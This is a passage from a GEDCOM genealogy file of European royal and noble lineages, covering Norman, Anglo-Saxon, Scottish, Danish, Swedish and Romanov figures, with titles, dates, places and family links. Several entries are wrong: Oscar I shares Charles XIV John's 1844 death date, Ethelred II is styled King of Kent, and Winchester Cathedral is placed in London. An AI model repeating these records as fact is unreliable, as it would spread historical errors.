+1 FAMS @F565@
+1 FAMC @F769@
+0 @I1509@ INDI
+1 NAME Henry the_Lion //
+1 TITL Duke of Saxony
+1 SEX M
+1 DEAT
+2 DATE        1195
+1 FAMS @F566@
+0 @I1510@ INDI
+1 NAME Margaret of_France //
+1 SEX F
+1 DEAT
+2 DATE        1198
+1 FAMS @F567@
+1 FAMC @F766@
+0 @I1511@ INDI
+1 NAME Malcolm_III Canmore //
+1 TITL King of Scotland
+1 SEX M
+1 DEAT
+2 DATE        1093
+1 FAMS @F1020@
+1 FAMS @F568@
+1 FAMC @F1028@
+0 @I1512@ INDI
+1 NAME St_Margaret  //
+1 SEX F
+1 DEAT
+2 DATE        1093
+1 FAMS @F568@
+1 FAMC @F582@
+0 @I1513@ INDI
+1 NAME Edgar  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE ABT    1074
+1 DEAT
+2 DATE        1107
+1 FAMC @F568@
+0 @I1514@ INDI
+1 NAME Alexander_I the_Fierce //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1078
+1 DEAT
+2 DATE        1124
+1 FAMS @F1018@
+1 FAMC @F568@
+0 @I1515@ INDI
+1 NAME David_I the_Saint //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE ABT    1080
+1 DEAT
+2 DATE        1153
+1 FAMS @F1022@
+1 FAMC @F568@
+0 @I1516@ INDI
+1 NAME Mary of_Scotland //
+1 SEX F
+1 FAMS @F589@
+1 FAMC @F568@
+0 @I1517@ INDI
+1 NAME Stephen Henry //
+1 TITL Count of Blois
+1 SEX M
+1 DEAT
+2 DATE        1102
+1 FAMS @F569@
+0 @I1518@ INDI
+1 NAME Theobald  //
+1 TITL Count of Blois
+1 SEX M
+1 DEAT
+2 DATE        1151
+1 FAMS @F763@
+1 FAMC @F569@
+0 @I1519@ INDI
+1 NAME Henry of_Winchester //
+1 TITL Bishop
+1 SEX M
+1 FAMC @F569@
+0 @I1520@ INDI
+1 NAME Alfonso_VIII  //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE        1155
+1 DEAT
+2 DATE        1214
+1 FAMS @F571@
+1 FAMC @F695@
+0 @I1521@ INDI
+1 NAME Matthew of_Alsace //
+1 TITL Count Boulogne
+1 SEX M
+1 FAMS @F588@
+1 FAMC @F768@
+0 @I1522@ INDI
+1 NAME Eustace_III of_Boulogne //
+1 TITL Count
+1 SEX M
+1 FAMS @F589@
+0 @I1523@ INDI
+1 NAME Isabel de_Warrenne //
+1 SEX F
+1 FAMS @F587@
+1 FAMC @F767@
+0 @I1524@ INDI
+1 NAME Constance of_Toulouse //
+1 SEX F
+1 FAMS @F570@
+0 @I1525@ INDI
+1 NAME Robert the_Devil //
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1035
+1 FAMS @F572@
+1 FAMC @F573@
+0 @I1526@ INDI
+1 NAME Herleva  //
+1 SEX F
+1 FAMS @F572@
+1 FAMS @F585@
+0 @I1527@ INDI
+1 NAME Richard_II of_Normandy //
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1026
+1 FAMS @F573@
+1 FAMC @F574@
+0 @I1528@ INDI
+1 NAME Judith of_Brittany //
+1 SEX F
+1 FAMS @F573@
+0 @I1529@ INDI
+1 NAME Richard_III of_Normandy //
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1028
+1 FAMC @F573@
+0 @I1530@ INDI
+1 NAME Richard_I the_Fearless of_Normandy//
+1 TITL Count
+1 SEX M
+1 DEAT
+2 DATE         996
+1 FAMS @F574@
+0 @I1531@ INDI
+1 NAME Gunnor of_Denmark //
+1 SEX F
+1 FAMS @F574@
+0 @I1532@ INDI
+1 NAME Emma of_Normandy //
+1 SEX F
+1 DEAT
+2 DATE        1052
+1 FAMS @F575@
+1 FAMS @F584@
+1 FAMC @F574@
+0 @I1533@ INDI
+1 NAME Ethelred_II the_Unready //
+1 TITL King of Kent
+1 SEX M
+1 BIRT
+2 DATE ABT     968
+1 DEAT
+2 DATE        1016
+1 BURI
+2 PLAC St. Paul's
+1 FAMS @F580@
+1 FAMS @F575@
+1 FAMC @F710@
+0 @I1534@ INDI
+1 NAME Edward the_Confessor //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE ABT    1002
+2 PLAC Islip,Oxfordshire,England
+1 DEAT
+2 DATE  5 JAN 1066
+1 BURI
+2 DATE  6 JAN 1066
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F576@
+1 FAMC @F575@
+0 @I1535@ INDI
+1 NAME Edith (Eadgyth) //
+1 SEX F
+1 DEAT
+2 DATE 18 DEC 1075
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F576@
+1 FAMC @F577@
+0 @I1536@ INDI
+1 NAME Godwin  //
+1 TITL Earl of Wessex
+1 SEX M
+1 FAMS @F577@
+0 @I1537@ INDI
+1 NAME Gytha  //
+1 SEX F
+1 FAMS @F577@
+0 @I1538@ INDI
+1 NAME Harold_II  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1022
+1 DEAT
+2 DATE 14 OCT 1066
+2 PLAC Hastings
+1 FAMS @F578@
+1 FAMC @F577@
+0 @I1539@ INDI
+1 NAME Edith Swan-neck (Ealdgyth)//
+1 SEX F
+1 FAMS @F813@
+1 FAMS @F578@
+1 FAMC @F706@
+0 @I1540@ INDI
+1 NAME Gytha  //
+1 SEX F
+1 FAMS @F579@
+1 FAMC @F578@
+0 @I1541@ INDI
+1 NAME Vladimir of_Kiev /Monomakh/
+1 TITL Grand Duke
+1 SEX M
+1 DEAT
+2 DATE        1125
+1 FAMS @F579@
+0 @I1542@ INDI
+1 NAME Elfreda (Elfgiva) //
+1 SEX F
+1 FAMS @F580@
+1 FAMC @F697@
+0 @I1543@ INDI
+1 NAME Edmund_II Ironside //
+1 SEX M
+1 DEAT
+2 DATE        1016
+1 FAMS @F581@
+1 FAMC @F580@
+0 @I1544@ INDI
+1 NAME Ealdgyth  //
+1 SEX F
+1 FAMS @F581@
+0 @I1545@ INDI
+1 NAME Edward  /Athling/
+1 SEX M
+1 BIRT
+2 DATE ABT    1016
+1 DEAT
+2 DATE        1057
+1 FAMS @F582@
+1 FAMC @F581@
+0 @I1546@ INDI
+1 NAME Agatha  //
+1 SEX F
+1 FAMS @F582@
+1 FAMC @F699@
+0 @I1547@ INDI
+1 NAME Edgar  /Athling/
+1 SEX M
+1 FAMC @F582@
+0 @I1548@ INDI
+1 NAME Canute_II the_Great //
+1 SEX M
+1 BIRT
+2 DATE ABT     995
+1 DEAT
+2 DATE 12 NOV 1035
+2 PLAC Shaftesbury,England
+1 BURI
+2 PLAC Winchester,Cathedral,London,England
+1 FAMS @F583@
+1 FAMS @F584@
+1 FAMC @F708@
+0 @I1549@ INDI
+1 NAME Elfgiva of_Northampton //
+1 SEX F
+1 FAMS @F583@
+1 FAMC @F707@
+0 @I1550@ INDI
+1 NAME Harold_I Harefoot //
+1 SEX M
+1 BIRT
+2 DATE ABT    1015
+1 DEAT
+2 DATE 17 MAR 1040
+2 PLAC Oxford,England
+1 BURI
+2 PLAC St Clement Danes,London,England
+1 FAMC @F583@
+0 @I1551@ INDI
+1 NAME Sweyn  //
+1 TITL King of Norway
+1 SEX M
+1 DEAT
+2 DATE        1036
+1 FAMC @F583@
+0 @I1552@ INDI
+1 NAME Hardicanute  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE        1018
+1 DEAT
+2 DATE  8 JUN 1042
+2 PLAC Lambeth
+1 BURI
+2 PLAC Winchester,Cathedral,London,England
+1 FAMC @F584@
+0 @I1553@ INDI
+1 NAME Herluin of_Conteville //
+1 TITL Viscount
+1 SEX M
+1 FAMS @F585@
+0 @I1554@ INDI
+1 NAME Odo of_Bayeux //
+1 TITL Bishop
+1 SEX M
+1 DEAT
+2 DATE        1097
+1 FAMC @F585@
+0 @I1555@ INDI
+1 NAME Robert  //
+1 TITL Count of Mortain
+1 SEX M
+1 FAMC @F585@
+0 @I1556@ INDI
+1 NAME Alan_IV of_Brittany /Fergant/
+1 TITL Count
+1 SEX M
+1 FAMS @F586@
+0 @I1557@ INDI
+1 NAME William_II the_Good //
+1 TITL King of Sicily
+1 SEX M
+1 BIRT
+2 DATE        1166
+1 DEAT
+2 DATE 18 NOV 1189
+1 FAMS @F590@
+1 FAMC @F1166@
+0 @I1558@ INDI
+1 NAME Raymond_VI of_Toulouse //
+1 TITL Count
+1 SEX M
+1 FAMS @F591@
+0 @I1559@ INDI
+1 NAME Nicholas  /Koulikovsky/
+1 TITL Colonel
+1 SEX M
+1 BIRT
+2 DATE        1881
+1 DEAT
+2 DATE        1958
+2 PLAC Cooksville,Near Toronto,Ontario,Canada
+1 BURI
+2 PLAC York Cemetery,Toronto,Ontario,Canada
+1 FAMS @F592@
+0 @I1560@ INDI
+1 NAME Tikhon  /Koulikovsky/
+1 SEX M
+1 BIRT
+2 DATE        1917
+1 FAMC @F592@
+0 @I1561@ INDI
+1 NAME Goury  /Koulikovsky/
+1 SEX M
+1 BIRT
+2 DATE        1919
+1 FAMC @F592@
+0 @I1562@ INDI
+1 NAME Andrew  //
+1 SEX M
+1 BIRT
+2 DATE        1897
+1 FAMC @F51@
+0 @I1563@ INDI
+1 NAME Theodore  //
+1 SEX M
+1 BIRT
+2 DATE        1898
+1 FAMC @F51@
+0 @I1564@ INDI
+1 NAME Nikita  //
+1 SEX M
+1 BIRT
+2 DATE        1900
+1 FAMC @F51@
+0 @I1565@ INDI
+1 NAME Dimitri  //
+1 SEX M
+1 BIRT
+2 DATE        1901
+1 FAMC @F51@
+0 @I1566@ INDI
+1 NAME Rostislav  //
+1 SEX M
+1 BIRT
+2 DATE        1902
+1 FAMC @F51@
+0 @I1567@ INDI
+1 NAME Vassily  //
+1 SEX M
+1 BIRT
+2 DATE        1907
+1 FAMC @F51@
+0 @I1568@ INDI
+1 NAME Alexander Alexandrovich /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1870
+1 FAMC @F9@
+0 @I1569@ INDI
+1 NAME Catherine  /Yourievska/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1847
+1 DEAT
+2 DATE        1922
+1 FAMS @F593@
+0 @I1570@ INDI
+1 NAME George  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1913
+1 FAMS @F594@
+1 FAMC @F593@
+0 @I1571@ INDI
+1 NAME Olga  /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1874
+1 DEAT
+2 DATE        1925
+1 FAMS @F595@
+1 FAMC @F593@
+0 @I1572@ INDI
+1 NAME Catherine  /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1878
+1 DEAT
+2 DATE        1959
+1 FAMS @F596@
+1 FAMS @F597@
+1 FAMC @F593@
+0 @I1573@ INDI
+1 NAME Alexandra  /Zarnekau/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1883
+1 FAMS @F594@
+0 @I1574@ INDI
+1 NAME Alexander Alexandrovich /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1900
+1 FAMC @F594@
+0 @I1575@ INDI
+1 NAME   /von_Merenberg/
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1871
+1 DEAT
+2 DATE        1948
+1 FAMS @F595@
+0 @I1576@ INDI
+1 NAME George  //
+1 SEX M
+1 BIRT
+2 DATE        1897
+1 FAMC @F595@
+0 @I1577@ INDI
+1 NAME Olga  //
+1 SEX F
+1 BIRT
+2 DATE        1898
+1 FAMC @F595@
+0 @I1578@ INDI
+1 NAME Alexander V. /Bariatinsky/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1910
+1 FAMS @F596@
+0 @I1579@ INDI
+1 NAME Andrei  /Bariatinsky/
+1 SEX M
+1 BIRT
+2 DATE        1902
+1 DEAT
+2 DATE        1931
+1 FAMC @F596@
+0 @I1580@ INDI
+1 NAME Alexander  /Bariatinsky/
+1 SEX M
+1 BIRT
+2 DATE        1905
+1 FAMC @F596@
+0 @I1581@ INDI
+1 NAME Serge  /Obelensky/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1890
+1 FAMS @F597@
+0 @I1582@ INDI
+1 NAME Sanchia of_Provence //
+1 SEX F
+1 BIRT
+2 DATE ABT    1225
+2 PLAC Aix-en-Provence
+1 DEAT
+2 DATE  9 NOV 1261
+2 PLAC Berkhamsted
+1 FAMS @F600@
+1 FAMC @F779@
+0 @I1583@ INDI
+1 NAME Beatrix of_Falkenburg //
+1 SEX F
+1 BIRT
+2 DATE ABT    1253
+1 DEAT
+2 DATE 17 OCT 1277
+1 FAMS @F601@
+1 FAMC @F780@
+0 @I1584@ INDI
+1 NAME Frederick_II of_Germany //
+1 TITL Emperor
+1 SEX M
+1 FAMS @F602@
+0 @I1585@ INDI
+1 NAME Alexander_III  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1241
+1 DEAT
+2 DATE        1286
+1 FAMS @F603@
+1 FAMS @F787@
+1 FAMC @F1025@
+0 @I1586@ INDI
+1 NAME John of_Dreux //
+1 TITL Earl of Richmond
+1 SEX M
+1 FAMS @F604@
+0 @I1587@ INDI
+1 NAME Aveline de_Forz //
+1 SEX F
+1 DEAT
+2 DATE 10 NOV 1274
+2 PLAC Stockwell
+1 FAMS @F605@
+1 FAMC @F785@
+0 @I1588@ INDI
+1 NAME Gilbert De_Clare //
+1 TITL Earl Gloucester
+1 SEX M
+1 DEAT
+2 DATE        1295
+1 FAMS @F606@
+0 @I1589@ INDI
+1 NAME Ralph de_Monthermer //
+1 TITL Baron
+1 SEX M
+1 DEAT
+2 DATE        1305
+1 FAMS @F607@
+0 @I1590@ INDI
+1 NAME John_II  //
+1 TITL Duke of Brabant
+1 SEX M
+1 FAMS @F608@
+0 @I1591@ INDI
+1 NAME John_I  //
+1 TITL Count of Holland
+1 SEX M
+1 FAMS @F609@
+0 @I1592@ INDI
+1 NAME Humphrey De_Bohun //
+1 TITL Earl of Hereford
+1 SEX M
+1 FAMS @F610@
+0 @I1593@ INDI
+1 NAME Mary de_Ros //
+1 SEX F
+1 FAMS @F791@
+1 FAMS @F611@
+1 FAMC @F790@
+0 @I1594@ INDI
+1 NAME John_V  /de_Montfort/
+1 TITL Duke of Brittany
+1 SEX M
+1 DEAT
+2 DATE  1 NOV 1399
+1 FAMS @F612@
+1 FAMS @F619@
+0 @I1595@ INDI
+1 NAME Margaret  /Holland/
+1 SEX F
+1 DEAT
+2 DATE 31 DEC 1439
+1 FAMS @F486@
+1 FAMS @F613@
+1 FAMC @F901@
+0 @I1596@ INDI
+1 NAME Anne of_Burgundy //
+1 SEX F
+1 DEAT
+2 DATE 14 NOV 1432
+2 PLAC Paris,France
+1 FAMS @F614@
+1 FAMC @F1049@
+0 @I1597@ INDI
+1 NAME Jacqueline of_Holland //
+1 TITL Countess
+1 SEX F
+1 FAMS @F615@
+0 @I1598@ INDI
+1 NAME Eleanor de_Cobham //
+1 SEX F
+1 DEAT
+2 DATE  7 JUL 1452
+2 PLAC Beaumaris Castle
+1 FAMS @F616@
+1 FAMC @F1048@
+0 @I1599@ INDI
+1 NAME Ludwig_III  //
+1 TITL Elector Palatine
+1 SEX M
+1 FAMS @F617@
+0 @I1600@ INDI
+1 NAME Eric_X of_Pomerania //
+1 TITL King of Denmark
+1 SEX M
+1 FAMS @F618@
+0 @I1601@ INDI
+1 NAME Joan of_Navarre //
+1 SEX F
+1 BIRT
+2 DATE ABT    1370
+2 PLAC Pamplona
+1 DEAT
+2 DATE  9 JUL 1437
+2 PLAC Havering atte,Bower,Essex,England
+1 BURI
+2 PLAC Canterbury,Cathedral,,England
+1 FAMS @F619@
+1 FAMS @F620@
+1 FAMC @F1047@
+0 @I1602@ INDI
+1 NAME William  /Bourchier/
+1 TITL Count
+1 SEX M
+1 DEAT
+2 DATE        1420
+1 FAMS @F621@
+0 @I1603@ INDI
+1 NAME Anne of_Gloucester //
+1 SEX F
+1 FAMS @F913@
+1 FAMS @F621@
+1 FAMC @F491@
+0 @I1604@ INDI
+1 NAME Frederick_II of_Hesse-Cassel //
+1 TITL Landgrave
+1 SEX M
+1 BIRT
+2 DATE        1720
+1 DEAT
+2 DATE        1785
+1 FAMS @F622@
+0 @I1605@ INDI
+1 NAME Elizabeth Christine //
+1 SEX F
+1 BIRT
+2 DATE        1715
+1 DEAT
+2 DATE        1797
+1 FAMS @F623@
+1 FAMC @F624@
+0 @I1606@ INDI
+1 NAME Ferdinand Albert_II of_Brunswick//
+1 SEX M
+1 BIRT
+2 DATE        1680
+1 DEAT
+2 DATE        1735
+1 FAMS @F624@
+0 @I1607@ INDI
+1 NAME Margaret Alice /Bridgeman/
+1 TITL Lady
+1 SEX F
+1 FAMS @F296@
+0 @I1608@ INDI
+1 NAME William  /d'Aubigny/
+1 TITL Earl of Arundel
+1 SEX M
+1 DEAT
+2 DATE 12 OCT 1176
+1 FAMS @F625@
+0 @I1609@ INDI
+1 NAME Henri  /de_Laborde/
+1 SEX M
+1 BIRT
+2 DATE 11 JUN 1934
+2 PLAC Talence,Gironde,France
+1 FAMS @F626@
+0 @I1610@ INDI
+1 NAME Frederick  //
+1 SEX M
+1 BIRT
+2 DATE        1968
+1 FAMC @F626@
+0 @I1611@ INDI
+1 NAME Joachim  //
+1 SEX M
+1 BIRT
+2 DATE        1969
+1 FAMC @F626@
+0 @I1612@ INDI
+1 NAME Silvia Renate /Sommerlath/
+1 SEX F
+1 BIRT
+2 DATE 23 DEC 1943
+2 PLAC Heidelberg,Germany
+1 FAMS @F220@
+1 FAMC @F1153@
+0 @I1613@ INDI
+1 NAME Oscar_I  //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE  4 JUL 1799
+2 PLAC Paris,France
+1 DEAT
+2 DATE  8 MAR 1844
+2 PLAC Stockholm,Sweden
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F627@
+1 FAMC @F628@
+0 @I1614@ INDI
+1 NAME Josephine  /de_Beauharnais/
+1 SEX F
+1 BIRT
+2 DATE 14 MAR 1807
+2 PLAC Milan,Italy
+1 DEAT
+2 DATE  7 JUN 1876
+2 PLAC Stockholm,Sweden
+1 FAMS @F627@
+1 FAMC @F1149@
+0 @I1615@ INDI
+1 NAME Charles_XIV John //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE 26 JAN 1763
+2 PLAC Pau,Bearn,France
+1 DEAT
+2 DATE  8 MAR 1844
+2 PLAC Stockholm,Sweden
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F628@
+0 @I1616@ INDI
+1 NAME Desiree  //
+1 SEX F
+1 BIRT
+2 DATE  9 NOV 1777
+2 PLAC Marseilles,France
+1 DEAT
+2 DATE 17 DEC 1860
+2 PLAC Stockholm,Sweden
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F628@
+0 @I1617@ INDI
+1 NAME Frederick_VI  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 28 JAN 1768
+2 PLAC Christiansborg,Nr: Copenhagen,Denmark
+1 DEAT
+2 DATE  3 DEC 1839
+2 PLAC Amalienborg
+1 FAMS @F629@
+1 FAMC @F281@
+0 @I1618@ INDI
+1 NAME Marie  //
+1 SEX F
+1 BIRT
+2 DATE 28 OCT 1767
+2 PLAC Hanau
+1 DEAT
+2 DATE 21 MAR 1852
+2 PLAC Amalienborg,Denmark
+1 FAMS @F629@
+1 FAMC @F641@
+0 @I1619@ INDI
+1 NAME Juliana Maria //
+1 SEX F
+1 BIRT
+2 DATE  4 SEP 1729
+2 PLAC Wolfenbuttel
+1 DEAT
+2 DATE 10 OCT 1796
+2 PLAC Fredensborg,Denmark
+1 FAMS @F630@
+0 @I1620@ INDI
+1 NAME Christian_VI  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 10 DEC 1699
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE  6 AUG 1746
+2 PLAC Copenhagen,Denmark
+1 FAMS @F631@
+1 FAMC @F632@
+0 @I1621@ INDI
+1 NAME Sophie Magdalene //
+1 SEX F
+1 BIRT
+2 DATE 28 NOV 1700
+1 DEAT
+2 DATE 27 MAY 1770
+2 PLAC Christiansborg,Denmark
+1 FAMS @F631@
+0 @I1622@ INDI
+1 NAME Frederick_IV  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 21 OCT 1671
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE 12 OCT 1730
+2 PLAC Copenhagen,Denmark
+1 FAMS @F632@
+1 FAMS @F633@
+1 FAMC @F634@
+0 @I1623@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE 28 AUG 1667
+1 DEAT
+2 DATE 15 MAR 1721
+1 FAMS @F632@
+0 @I1624@ INDI
+1 NAME Anna Sophie //
+1 SEX F
+1 BIRT
+2 DATE 16 APR 1693
+1 DEAT
+2 DATE  7 JAN 1743
+2 PLAC Klausholm
+1 FAMS @F633@
+0 @I1625@ INDI
+1 NAME Christian_V  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 15 APR 1646
+2 PLAC Flensborg
+1 DEAT
+2 DATE 25 AUG 1699
+1 FAMS @F634@
+1 FAMC @F637@
+0 @I1626@ INDI
+1 NAME Charlotte Amelia //
+1 SEX F
+1 BIRT
+2 DATE 27 APR 1650
+2 PLAC Cassel
+1 DEAT
+2 DATE 27 MAR 1714
+2 PLAC Copenhagen
+1 FAMS @F634@
+0 @I1627@ INDI
+1 NAME Christian_IV  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 12 APR 1577
+2 PLAC Frederiksborg
+1 DEAT
+2 DATE 28 FEB 1648
+2 PLAC Copenhagen,Denmark
+1 FAMS @F635@
+1 FAMS @F636@
+1 FAMC @F268@
+0 @I1628@ INDI
+1 NAME Anne Catherine //
+1 SEX F
+1 BIRT
+2 DATE 26 JUN 1575
+1 DEAT
+2 DATE 29 MAR 1612
+1 FAMS @F635@
+1 FAMC @F1054@
+0 @I1629@ INDI
+1 NAME Christine of_Schleswig- Holstein//
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE  6 JUL 1598
+1 DEAT
+2 DATE 19 APR 1658
+2 PLAC Odense
+1 FAMS @F636@
+0 @I1630@ INDI
+1 NAME Frederick_III  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 18 MAR 1609
+2 PLAC Haderslev,Denmark
+1 DEAT
+2 DATE  9 FEB 1670
+2 PLAC Copenhagen,Denmark
+1 FAMS @F637@
+1 FAMC @F635@
+0 @I1631@ INDI
+1 NAME Sophia Amelia //
+1 SEX F
+1 BIRT
+2 DATE 24 MAR 1628
+2 PLAC Herzberg
+1 DEAT
+2 DATE 20 FEB 1685
+2 PLAC Copenhagen
+1 FAMS @F637@
+0 @I1632@ INDI
+1 NAME Christian_III  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 12 AUG 1503
+2 PLAC Gottorp
+1 DEAT
+2 DATE  1 JAN 1559
+2 PLAC Coldingen
+1 FAMS @F638@
+1 FAMC @F639@
+0 @I1633@ INDI
+1 NAME Dorothea  //
+1 SEX F
+1 BIRT
+2 DATE  9 JUL 1511
+1 DEAT
+2 DATE  7 OCT 1571
+2 PLAC Sonderburg
+1 FAMS @F638@
+0 @I1634@ INDI
+1 NAME Frederick_I  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE  7 OCT 1471
+1 DEAT
+2 DATE 10 APR 1533
+2 PLAC Gottorp
+1 FAMS @F639@
+1 FAMS @F640@
+1 FAMC @F739@
+0 @I1635@ INDI
+1 NAME Anna  //
+1 SEX F
+1 BIRT
+2 DATE 27 AUG 1487
+1 DEAT
+2 DATE  3 MAY 1547
+2 PLAC Kiel
+1 FAMS @F639@
+0 @I1636@ INDI
+1 NAME Sophie  //
+1 SEX F
+1 BIRT
+2 DATE        1498
+1 DEAT
+2 DATE 13 MAY 1568
+2 PLAC Keil
+1 FAMS @F640@
+0 @I1637@ INDI
+1 NAME Christian  //
+1 SEX M
+1 BIRT
+2 DATE        1745
+1 DEAT
+2 DATE        1747
+1 FAMC @F107@
+0 @I1638@ INDI
+1 NAME Sophia Magdalena //
+1 SEX F
+1 BIRT
+2 DATE        1746
+1 DEAT
+2 DATE        1813
+1 FAMS @F1339@
+1 FAMC @F107@
+0 @I1639@ INDI
+1 NAME Caroline  //
+1 SEX F
+1 BIRT
+2 DATE        1747
+1 DEAT
+2 DATE        1820
+1 FAMS @F1340@
+1 FAMC @F107@
+0 @I1640@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1750
+1 DEAT
+2 DATE        1831
+1 FAMS @F641@
+1 FAMC @F107@
+0 @I1641@ INDI
+1 NAME Charles of_Hesse-Cassel //
+1 SEX M
+1 BIRT
+2 DATE        1744
+1 DEAT
+2 DATE        1836
+1 FAMS @F641@
+0 @I1642@ INDI
+1 NAME Christian  //
+1 SEX M
+1 BIRT
+2 DATE        1791
+1 DEAT
+2 DATE        1791
+1 FAMC @F629@
+0 @I1643@ INDI
+1 NAME Frederick  //
+1 SEX M
+1 BIRT
+2 DATE        1753
+1 DEAT
+2 DATE        1805
+1 FAMS @F642@
+1 FAMC @F630@
+0 @I1644@ INDI
+1 NAME Sophia Frederica of_Mecklenburg-//
+1 SEX F
+1 BIRT
+2 DATE        1758
+1 DEAT
+2 DATE        1794
+1 FAMS @F642@
+0 @I1645@ INDI
+1 NAME Christian_VIII  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 18 SEP 1786
+2 PLAC Christiansborg
+1 DEAT
+2 DATE 20 JAN 1848
+2 PLAC Amalienborg
+1 FAMS @F643@
+1 FAMS @F644@
+1 FAMC @F642@
+0 @I1646@ INDI
+1 NAME Ferdinand  //
+1 SEX M
+1 BIRT
+2 DATE        1792
+1 DEAT
+2 DATE        1863
+1 FAMS @F649@
+1 FAMC @F642@
+0 @I1647@ INDI
+1 NAME Charlotte  //
+1 SEX F
+1 BIRT
+2 DATE  4 DEC 1784
+2 PLAC Ludwigslust
+1 DEAT
+2 DATE 13 JUL 1840
+2 PLAC Rome,Italy
+1 FAMS @F643@
+0 @I1648@ INDI
+1 NAME Caroline  //
+1 SEX F
+1 BIRT
+2 DATE 22 JUN 1796
+2 PLAC Copenhagen
+1 DEAT
+2 DATE  9 MAR 1881
+2 PLAC Amalienborg
+1 FAMS @F644@
+1 FAMC @F648@
+0 @I1649@ INDI
+1 NAME Frederick_VII  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE  6 OCT 1808
+2 PLAC Amalienborg
+1 DEAT
+2 DATE 15 NOV 1863
+2 PLAC Glucksburg
+1 FAMS @F645@
+1 FAMS @F646@
+1 FAMS @F647@
+1 FAMC @F643@
+0 @I1650@ INDI
+1 NAME Wilhelmine  //
+1 SEX F
+1 BIRT
+2 DATE 18 JAN 1808
+2 PLAC Kiel
+1 DEAT
+2 DATE 30 MAY 1891
+2 PLAC Glucksburg
+1 FAMS @F645@
+1 FAMS @F650@
+1 FAMC @F629@
+0 @I1651@ INDI
+1 NAME Caroline  //
+1 SEX F
+1 BIRT
+2 DATE 10 JAN 1821
+2 PLAC Neustrelitz
+1 DEAT
+2 DATE  1 JUN 1876
+2 PLAC Neustrelitz
+1 FAMS @F646@
+0 @I1652@ INDI
+1 NAME Louise  /Rasmussen/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE 21 APR 1815
+2 PLAC Copenhagen
+1 DEAT
+2 DATE  6 MAR 1874
+2 PLAC Cannes
+1 FAMS @F647@
+0 @I1653@ INDI
+1 NAME Louise Augusta //
+1 SEX F
+1 BIRT
+2 DATE        1771
+1 DEAT
+2 DATE        1843
+1 FAMS @F648@
+1 FAMC @F281@
+0 @I1654@ INDI
+1 NAME Frederick Christian of_Schleswig-//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1765
+1 DEAT
+2 DATE        1814
+1 FAMS @F648@
+0 @I1655@ INDI
+1 NAME Marie Louise //
+1 SEX F
+1 BIRT
+2 DATE        1792
+1 DEAT
+2 DATE        1793
+1 FAMC @F629@
+0 @I1656@ INDI
+1 NAME Caroline  //
+1 SEX F
+1 BIRT
+2 DATE        1793
+1 DEAT
+2 DATE        1881
+1 FAMS @F649@
+1 FAMC @F629@
+0 @I1657@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1795
+1 DEAT
+2 DATE        1795
+1 FAMC @F629@
+0 @I1658@ INDI
+1 NAME Christian  //
+1 SEX M
+1 BIRT
+2 DATE        1797
+1 DEAT
+2 DATE        1797
+1 FAMC @F629@
+0 @I1659@ INDI
+1 NAME Louise Juliane //
+1 SEX F
+1 BIRT
+2 DATE        1802
+1 DEAT
+2 DATE        1802
+1 FAMC @F629@
+0 @I1660@ INDI
+1 NAME Frederica Maria //
+1 SEX F
+1 BIRT
+2 DATE        1805
+1 DEAT
+2 DATE        1805
+1 FAMC @F629@
+0 @I1661@ INDI
+1 NAME Charles  //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1813
+1 DEAT
+2 DATE        1878
+1 FAMS @F650@
+0 @I1662@ INDI
+1 NAME Maximilian of_Austria //
+1 TITL Archduke
+1 SEX M
+1 BIRT
+2 DATE        1832
+1 DEAT
+2 DATE        1867
+1 FAMS @F686@
+0 @I1663@ INDI
+1 NAME Valdemar  //
+1 SEX M
+1 BIRT
+2 DATE        1858
+1 DEAT
